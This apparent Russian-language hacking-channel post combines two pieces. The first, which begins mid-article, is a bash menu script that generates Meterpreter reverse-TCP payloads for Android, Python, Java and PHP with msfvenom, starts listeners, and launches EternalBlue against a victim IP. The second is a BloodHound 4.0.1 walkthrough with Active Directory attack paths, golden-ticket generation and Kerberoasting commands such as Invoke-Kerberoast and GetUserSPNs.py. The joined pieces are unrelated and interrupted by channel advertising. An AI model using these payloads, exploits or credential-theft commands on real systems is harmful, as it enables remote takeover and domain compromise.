Впринципе на этом можно было бы закончить, но я пошел чуть дальше и сделал Reverce TCP для всех видов ОС

elif [ “$x” == “$apk” ]; then                         #APK

echo “Enter filename: (test.apk)”

read filename

msfvenom -p android/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$py” ]; then                      #PYTHON

echo “Enter filename: (test.py)”

read filename

msfvenom -p python/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload python/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$jar” ]; then                       #JAVA

echo “Enter filename: (test.jar)”

read filename

msfvenom -p java/meterpreter/reverse_tcp lhost=$ip lport=4444 -f jar > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload java/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$php” ]; then                       #PHP

echo “Enter filename: (test.php)”

read filename

msfvenom -p php/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

Теперь я вам покажу как использовать эксплоиты!

elif [ “$x” == “$eternalblue” ]; then                       #ETERNALBLUE

echo “Victim’s IP:”#просим ввести ip

read r#читаем ввод пользователя

msfconsole -q -x ” use exploit/windows/smb/ms17_010_eternalblue; set payload windows/x64/meterpreter/reverse_tcp; set lhost $ip ; set rhost $r ; exploit ; “#запускаем Metasploit командами

В конце у меня вышло что то такое:

(1) Windows –> test.exe (payload and listener)

(2) Android –> test.apk (payload and listener) 

(3) Linux –> test.py (payload and listener)

(4) MacOS –> test.jar (payload and listener)

(5) Web –> test.php (payload and listener)

(6) Scan if a target is vulnerable to ms17_010

(7) Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)

(7rd) Enable Remote Desktop (ms17_010_eternalblue)

(8) Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)

(8rd) Enable Remote Desktop (ms17_010_psexec)

(9) Exploit Windows with a link (HTA Server)

Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники.

Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.

Обо всем этом вам расскажу только я на канале @cybersecs

BloodHound 4.0.1 — твоя ищейка в Active Directory и Azure

Если кто не знает, BloodHound это опенсорсный инструмент, позволяющий визуализировать взаимоотношения в Active Directory, оценить сильные и слабые стороны. BloodHound поможет отследить взаимосвязи и получить представление об AD, идентифицировать компьютеры, на которых пользователи имеют права администратора, увидеть какие пользователи имеют право на администрирование любого компьютера в AD, а также позволяет просмотреть информацию о членстве в группах. В BloodHound впервые на таком уровне был реализован подход “думай графиками, а не списками”.

Это один из самых важных инструментов, который используется практически во всех внутренних тестированиях на проникновение. Проект активно развивается и дополняется новыми фичами.

Этот инструмент представляет интерес как для сотрудников ИБ, изучающих риски в инфраструктуре Active Directory, так и для атакующих, поскольку даёт наглядное графовое представление связей и сущностей в Active Directory. Инструмент позволяет быстро найти всех доменных администраторов; найти все хосты, на которых залогинены доменные администраторы; выстроить цепочку от компьютера атакующего до компьютера на котором есть сессия доменного администратора и много другой полезной информации. BloodHound представляет собой одностраничное Javascript веб приложение. Для сбора данных используется сценарий PowerShell PowerView.

Детально ознакомиться с этим удобным фреймворком можно в официальном репозитории на Github.

Совсем недавно вышла новая версия BloodHound.

В третьей версии добавились три новых типа атак, была улучшена
производительность графического интерфейса, добавлена поддержка Neo4j 4.0.

Новые типы атак

В BloodHound добавлено три новых типа атак: управление GMSA, управление OU и SIDHistory. Конфиги, связанные с этими атаками, по умолчанию доступны любому пользователю, прошедшему проверку в домене, и каждый тип атаки может использоваться с практическими инструментами.

Управление GMSA

Group Managed Service Accounts (GMSA) — это специальные учетные записи служб в Active Directory, решающие многие проблемы. Пароли для GMSA состоят из 128 символов, управляются контроллерами домена и по умолчанию автоматически меняются каждые 30 дней.

Суть GMSA заключается в том, что администраторам необходимо указать, кому разрешено читать плэинтекстовые пароли для GMSA. Предположим, что наш пользователь Dwight Hohnstein может прочитать пароль для SQL GMSA. В графическом интерфейсе BloodHound вы можете увидеть это как путь атаки с компа Dwight до компьютера SQL:

Если мы можем войти в контекст пользователя DHOHNSTEIN, то мы можем получить плеинтекстовый пароль для GMSA-SQL01, а затем в перейти и к SQL01.CONTOSO.LOCAL. На данный момент уже существует несколько инструментов для извлечения паролей GMSA, но ни один из них не работает исколючительно из памяти компьютера. Именно поэтому на C# был разработан GMSAPasswordReader, делающий именно то, что должен: чтение паролей GMSA. Вот пример использования GMSAPassword.exe с функцией execute-assembly тулкита Cobalt Strike для получения NT-хэша для GMSA-SQL01:

Теперь, с NT-хэшем пароля учетной записи GMSA, вы можете выдать себя за пользователя (используя, например, overpass-the-hash) и перейти к SQL01.CONTOSO.LOCAL.

Для дальнейшего чтения о GMSA, (см. рецензию Michael Grafnetter здесь)

Контроль OU

Иногда админы AD задают ACEs на OU (организационные подразделения) применимые к OU, или OU и его наследственные OU, но не наследственные объекты пользователя, компьютера или группы. Мы видели контроль OU через свзку групповых политик с OU, и возможность связи нежелательных GPO с OU, которыми вы управляете. С этим есть несколько проблем, наиболее критическая из которых то, что вы должны иметь возможность не дать нежелательному серверу GP корректно размещать ваши файлы групповой политики. Делать это через коммандную строку очень непросто. Контролируя OU, вы можете задать ACE на OU будет унаследован вложенными объектами!

Например, представим, что Justin Bui имеет полный доступ к Workstation Admins OU, пользовательский объект Josh Prager:

Далее следует очень простая атака: из контекста JBUI мы можем добавить новый ACE к OU администратора рабочей станции, который унаследует JPRAGER. Это возможно благодаря мощному командлету в PowerView New-ADObjectAccessControlEntry.

Как только этот новый ACE будет создан, мы можем получить доступ к пользователю JPRAGER из контекста JBUI точно так же, как мы могли это делать после обновления ACL BloodHound 1.3: сбросить его пароль или выполнить целевую атаку.

Когда вы применяете ACE к OU и устанавливаете его для наследования дочерних объектов, вы можете выбрать его применение ко всем объектам, объектам определенного класса и даже контролировать, применяется ли он к прямым дочерним элементам OU и их наследникам.

SIDHistory

SIDHistory включен в качестве вектора атаки в BloodHound. Как ред тимер, вы можете сначала подумать о золотых тикетах, нарушающих функциональность истории SID, но на самом деле мы рассматриваем пользователей, компьютеры и группы, у которых уже есть SID, указанный в параметре SIDHistory их объекта в AD. Эти параметры могут быть заполнены при миграции объекта из одного домена Active Directory в другой. Для сохранения прав и привилегий, которыми обладает участник, объект в новом домене будет содержать идентификаторы безопасности для любой группы, которой принадлежит участник в старом домене.

Допустим, пользовательский объект Josiah Massari был перенесен в домен CONTOSO из домена FABRIKAM. В домене FABRIKAM юзер Josiah принадлежал к группе администраторов рабочей станции, которая имеюзую права локального администратора на всех рабочих станциях в FABRIKAM. В домене CONTOSO пользовательский объект для Josiah будет содержать SID для группы администраторов рабочей станции в FABRIKAM. Теперь, всякий раз, когда Josiah проходит аутентификацию, его тикет Kerberos будет содержать SID для этой группы в части ExtraSID в PAC тикета, предоставляя ему те же права и привилегии, которыми обладает эта группа.

Итог: Josiah Massari фактически остается членом группы администраторов рабочей станции в FABRIKAM, даже если его пользовательский объект больше не принадлежит этой группе. Дополнительные сведения об этом см. в блоге Шона Меткалфа: Скрытая стойкость Active Directory # 14: SID.

В графическом интерфейсе BloodHound описанная ситуация будет выглядеть так:

Фактически, вы можете представить «HasSIDHistory» так же, как вы уже представляете свойство «MemberOf». В контексте JMASSARI вы получите права администратора на обеих рабочих станциях в домене FABRIKAM.

Предостерегаем: если доверие между доменами CONTOSO и FABRIKAM обеспечивает фильтрацию SID, эта атака не будет работать, поскольку идентификаторы SID в части ExtraSID PAC тикета kerberos JMASSARI будут игнорироваться доменом FABRIKAM. Для получения дополнительной информации о фильтрации SID см. пост в блоге Уилла Шредера «Руководство по атаке на трасты в домейне».

Улучшения производительности

Ощущаются улучшения производительности по сравнению со старыми версиями в двух основных областях: сбор данных с помощью SharpHound и импорт данных с помощью BloodHound GUI. В SharpHound вы ощутите увеличение скорости сбора LDAP примерно на 25-30%. Сбор хостов происходит немного медленнее, но с гораздо большей точностью. Количество проб при распознавания хостов значительно увеличилось по сравнению с предыдущей версией.

В импорте данных полностью перестроена логика синтаксического анализа и импорта JSON, поэтому перетаскивание файлов в графический интерфейс будет работать быстрее по сравнению с предидущими версиями.

Дополнительные удобства

Два основных изменения затронули то, как графический интерфейс обрабатывает сложные запросы, и как графический интерфейс визуализирует графики с большим количеством узлов.

Всякий раз, когда вы щелкаете по узлу в графическом интерфейсе BloodHound, вкладка информации для этого узла заполняется и начинает отображать все виды информации об этом объекте:

Некоторые из этих запросов очень легко обрабатываются базой данных, например получение даты и времени «последнего пароля» от пользовательского узла или даже получение количества компьютеров, на которых у пользователя есть делегированные права администратора группы.

Некоторые из этих запросов на самом деле довольно тяжелые, особенно когда вы начинаете работать с базами данных выше определенного размера, скажем, более 30 000 узлов. В частности, любое использование shorttestPath (), где начальным или конечным узлом может быть любой другой узел (в отличие от определенного узла) в графе, приведет к огромному нагрузке на БД.

Выполняется 3 таких запроса каждый раз, когда вы щелкали по пользовательскому узлу: права локального администратора, управление переходными объектами и контроллеры переходных объектов. Мы изменили поведение по умолчанию. Теперь вместо тех запросов, которые выполняются каждый раз, когда вы нажимаете на пользовательский узел (и тем самым нагружают БД), появилась кнопка «play», которую вы можете нажать, чтобы выполнить запрос:

Большой проблемой в графическом интерфейсе BloodHound являлась визуализация больших графиков, состоящих из сотен узлов. Это связано с тем, что фреймворк полагаетсся на библиотеки визуализации графиков с открытым исходным кодом — которые используют проц, а не GPU для визуализации.

Решение состояло в том, чтобы перехватить данные, возвращаемые из neo4j, определить, может ли такой объем данных привести к зависанию графического интерфейса в течение длительного времени, а затем предоставить пользователю возможность выбора действий:

“Cancel” отменит ваши. «Save Data» покажет диалоговое окно, в котором вы можете сохранить необработанные данные графика в формате JSON. «Draw Graph» будет продолжать пытаться визуализировать узлы в обычном режиме.

Для работы BloodHound требуется три набора данных из Active Directory:1. Кто и где залогинен2. Кто имеет административные права и где3. Какие пользователи и группы в какие группы входят. Для сбора этих данных в большинстве случаев не требуется какой-либо привилегированный доступ или выполнение кода на удалённых системах. Сбор данных может быть  проводится с помощью PowerShell сценария PowerView, либо с помощью утилиты SharpHound.exe, которая находится в папке Ingestors. Я рассмотрю вариант сбора данных с помощью SharpHound.exe.

В моём примере SharpHound.exe находится в папке C:\BloodHound\BloodHound-master\Ingestors:

Собранные данные сохраняются в CSV файлы в эту же папку.

Документация по работе с утилитой здесь: https://github.com/BloodHoundAD/SharpHound

Для работы требуется .Net 3.5. Запускаться должна из контекста доменного пользователя.При запуске без параметров выполняется сбор членов групп AD, доверительных отношений, локальных администраторов и текущих сессий. Результат работы выводится в CMD:

Запускаем BloodHound.exe и подключаемся к базе данных.

Данные, которые были загружены для примера можно удалить, нажав кнопку Clear Database.

Затем загружаем полученные CSV файлы в чистую базу данных. Для этого в меню инструментов справа нажимаем кнопку Upload Data:

На этом загрузка данных завершена и можно приступать к анализу полученной информации.

BloodHound 4.0.1 — мощнейший инструмент для аудита AD стал еще мощнее с новыми векторами атаки и общими улучшениями. BloodHound – это мощнейший фреймворк, позволяющий изучать и эксплутировать AD, незаменимый для уважающего себя редтимера.

Bloodhound сразу предоставляет такие возможности:

  • найти аккаунты всех доменных администраторов;
  • найти хосты, на которых залогинены доменные администраторы;
  • построить кратчайший путь от хоста атакующего до хоста с сессией доменного админа.

Последний пункт дает ответ на вопрос, какие хосты нужно взломать атакующему, чтобы добраться до учетки доменного админа. Такой подход сильно сокращает время на получение полного контроля над доменом.

Информация, собираемая bloodhound:

  • Group — Performs group membership collection
  • LocalAdmin — Performs local admin collection
  • RDP — Performs Remote Desktop Users collection
  • DCOM — Performs Distributed COM Users collection
  • GPOLocalGroup — Performs local admin collection using Group Policy Objects
  • Session — Performs session collection
  • ComputerOnly — Performs local admin, RDP, DCOM and session collection
  • LoggedOn — Performs privileged session collection (requires admin rights on target systems)
  • Trusts — Performs domain trust enumeration
  • ACL — Performs collection of ACLs
  • Container — Performs collection of Containers;
  • DcOnly — Performs collection using LDAP only. Includes Group, Trusts, ACL, ObjectProps, Container, and GPOLocalGroup
  • All — Performs all Collection Methods except GPOLocalGroup and LoggedOn
  • SearchForest — Search all the domains in the forest instead of just your current one
  • Domain — Search a particular domain. Uses your current domain if null (Default: null)
  • Stealth — Performs stealth collection methods. All stealth options are single threaded
  • SkipGCDeconfliction — Skip Global Catalog deconfliction during session enumeration. This can speed up enumeration, but will result in possible inaccuracies in data
  • ExcludeDc — Excludes domain controllers from enumeration (avoids Microsoft ATA flags)
  • ComputerFile — Specify a file to load computer names/IPs from
  • OU — Specify which OU to enumerate

В качестве сборщиков информации выступают SharpHound.exe (требуется установленный .NET v3.5) и написанный на powershell скрипт SharpHound.ps1. Также есть сборщик, написанный сторонним разработчиком на Python, — Bloodhound-python.

В качестве базы данных используется Neo4j, имеющая свой синтаксис, что позволяет выполнять кастомные запросы. Подробнее ознакомиться с синтаксисом можно тут.

Из коробки доступны 12 запросов:

  • Find all Domain Admins
  • Find Shortest Paths to Domain Admins
  • Find Principals with DCSync Rights
  • Users with Foreign Domain Group Membership
  • Groups with Foreign Domain Group Membership
  • Map Domain Trusts
  • Shortest Paths to Unconstrained Delegation Systems
  • Shortest Paths from Kerberoastable Users
  • Shortest Paths to Domain Admins from Kerberoastable Users
  • Shortest Path from Owned Principals
  • Shortest Paths to Domain Admins from Owned Principals
  • Shortest Paths to High Value Targets

Также разработчики предоставляют скрипт DBCreator.py, который позволяет сгенерировать случайную базу для проведения тестов.

Neo4j имеет REST API. Существуют различные утилиты, которые могут подключаться к базе и использовать полученные данные:

Рассмотрим некоторые из них.

CypherDog

CypherDog — оболочка BloodHound, написанная на powershell. Включает в себя 27 командлетов.

Список командлетов
Примеры использования
По умолчанию для доступа к базе neo4j требуется аутентификация. Отключить аутентификацию можно, отредактировав файл neo4j.conf. В нем необходимо раскомментировать строку dbms.security.auth_enabled=false. Но так делать не рекомендуется, поскольку любой пользователь сможет подключиться к базе по адресу 127.0.0.1:7474 (конфигурация по умолчанию). Более подробно об аутентификации и авторизации в neo4j можно прочитать тут.

GoFetch

GoFetch использует граф, созданный в bloodhound для планирования и выполнения атаки.

Пример графа в Bloodhound
Логика работы GoFetch
Запуск атаки

.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json

gt-generator

gt-generator, используя данные BloodHound, упрощает создание golden-тикетов. Для получения golden-тикета необходимы только имя пользователя и хеш пароля пользователя KRBTGT.

python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>

PowerView

PowerView — Powershell-фреймворк, входящий в состав PowerSploit. Ниже приведен список некоторых командлетов, которые помогут при сборе информации о домене.

Список командлетов

Adidnsdump

При использовании интегрированного DNS в Active Directory любой пользователь домена может запросить все DNS-записи, установленные по умолчанию.

Используемый инструмент: Adidnsdump.

Атаки на домен

Теперь, имея информацию о домене, мы переходим к следующей фазе тестирования на проникновение — непосредственно к атаке. Рассмотрим 4 потенциальных вектора:

  1. Roasting
  2. Атака через ACL
  3. Делегирование Kerberos
  4. Abusing GPO Permissions

Roasting

Этот вид атаки нацелен на протокол Kerberos. Можно выделить 2 вида атаки типа Roasting:

  • Kerberoast
  • Asreproast

Kerberoast

Впервые атака была продемонстрирована пользователем timmedin на DerbyCon в 2014 году (video). При успешном проведении атаки мы сможем перебрать пароль сервисной УЗ в офлайн-режиме, не боясь блокировки пользователя. Довольно часто у сервисных учетных записей бывают избыточные права и бессрочный пароль, что может позволить нам получить права администратора домена.
Чтобы понять суть атаки, рассмотрим, как работает Kerberos.

1. Пароль преобразуется в NTLM-хеш, временная метка шифруется хешем и отправляется на KDC в качестве аутентификатора в запросе TGT-тикета (AS-REQ). Контроллер домена (KDC) проверяет информацию пользователя и создает TGT-тикет.

2. TGT-тикет шифруется, подписывается и отправляется пользователю (AS-REP). Только служба Kerberos (KRBTGT) может открыть и прочитать данные из TGT-тикета.

3. Пользователь представляет TGT-тикет контроллеру домена при запросе TGS-тикета (TGS-REQ). Контроллер домена открывает TGT-тикет и проверяет контрольную сумму PAC.

4. TGS-тикет шифруется NTLM-хешем пароля сервисной учетной записи и отправляется пользователю (TGS-REP).

5. Пользователь предоставляет TGS-тикет компьютеру, на котором запущена служба (AP-REQ). Служба открывает TGS-тикет с помощью своего NTLM-хеша.

6. Доступ к сервису предоставлен (AS-REP).

Получив TGS-тикет (TGS-REP), мы можем подобрать пароль сервисной учетной записи в офлайн-режиме. Например, с помощью hashcat.

Согласно RFC396, для протокола Kerberos зарезервировано 20 типов шифрования. Типы шифрования, которые используются сейчас, в порядке приоритета:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

В последних версиях Windows по умолчанию используется шифрование AES. Но для совместимости с системами ниже Windows Vista и Windows 2008 server необходима поддержка алгоритма RC4. При проведении атаки всегда сначала производится попытка получения TGS-тикета с шифрованием RC4_HMAC_MD5, который позволяет быстрее перебирать пароли, а затем с остальными. Harmj0y провел интересное исследование и выяснил, что если в свойствах пользователя указать поддержку шифрования только Kerberos AES128 и AES256, Kerberos-тикет все равно выдается с шифрованием RC4_HMAC_MD5.

Отключать RC4_HMAC_MD5 необходимо на уровне домена.

Атака Kerberoasting имеет 2 подхода.

1. Старый метод. TGS-тикеты запрашиваются через setspn.exe или .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken класса Powershell, извлекаются из памяти с помощью mimikatz, далее конвертируются в нужный формат (John, Hashcat) и перебираются.

2. Новый метод. machosec заметил, что класс KerberosRequestorSecurityToken имеет метод GetRequest, который извлекает зашифрованную часть с паролем из TGS-тикета.

Инструменты для проведения атаки:

1) Поиск SPN-записей

2) Запрос TGS-тикета

  • setspn.exe (штатная утилита Windows)
  • Запрос тикета через powershell

    Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>”
  • Request-SPNTicket

Посмотреть текущие закешированные тикеты можно командой klist.

Распространенные SPN-записи
3) Экспорт тикетов:

Пример автоматизированного выполнения всех 3-ех пунктов:

  • RiskySPN

    Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
  • PowerSploit

    Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
  • GetUserSPNs.py

    GetUserSPNs.py -request jet.lab\user:Password

BloodHound 4.0.1 – что нового?

С появлением новой версии пришла поддержка Azure.

Всего было добавлено 10 новых типов узлов:

Image for post
Новые типы узлов в BloodHound 4

Подробнее о новшествах можно посмотреть в этом видео:

С полным списком нововведений можно ознакомится в официальной документации: https://bloodhound.readthedocs.io/en/latest

Помимо этого обновлению подвергся и графический интерфейс:

Image for post
Image for post

Добавился и новый сборщик данных AzureHound.

AzureHound – это новый сборщик данных для BloodHound, который специально собирает данные от клиента Azure и подписчиков, доверяющих этому клиенту. AzureHound и SharpHound собирают данные из различных источников, но их выходные данные полностью совместимы друг с другом: вы можете импортировать данные AzureHound и SharpHound из одной базы данных в другую.

По умолчанию любой пользователь, который может пройти проверку подлинности в клиенте Azure, может собирать информацию о ролях администратора, пользователях, группах, приложениях, учетных записях автоматизации, устройствах и субъектах служб. Но по умолчанию у пользователей нет возможности читать информацию о подписках или что-либо в них:

Image for post

Использовать AzureHound очень просто. Сначала откройте новое приглашение PowerShell от имени администратора, установите модули Microsoft Azure и выполните аутентификацию для целевого клиента:

Image for post
Image for post

Заключение от разработчиков

BloodHound активно расширяется за пределы локальной Active Directory, теперь можно использовать BloodHound и для анализа внешних путей атаки, включая Azure. Для блютимеров же мы надеемся, что графический интерфейс BloodHound предложет более простую и эффективную возможность аудита, чтобы полностью понять, какие и сколько владельцев контролируют тот или иной объект – или могут получить контроль путем выполнения атаки.

В ближайшее время мы будем активно развивать функционал связанный с Azure, включая учетные записи автоматизации и, если возможно, сбор пользовательских сеансов с виртуальных машин. Мы также следим за постоянным исследованием злоупотреблений Azure со стороны других участников сообщества и всегда стремимся добавлять новые, стабильные и надежные примитивы атак в граф BloodHound.

Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. На канале @cybersecs ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также культура, креатив и горячие новости с авторскими коментариями.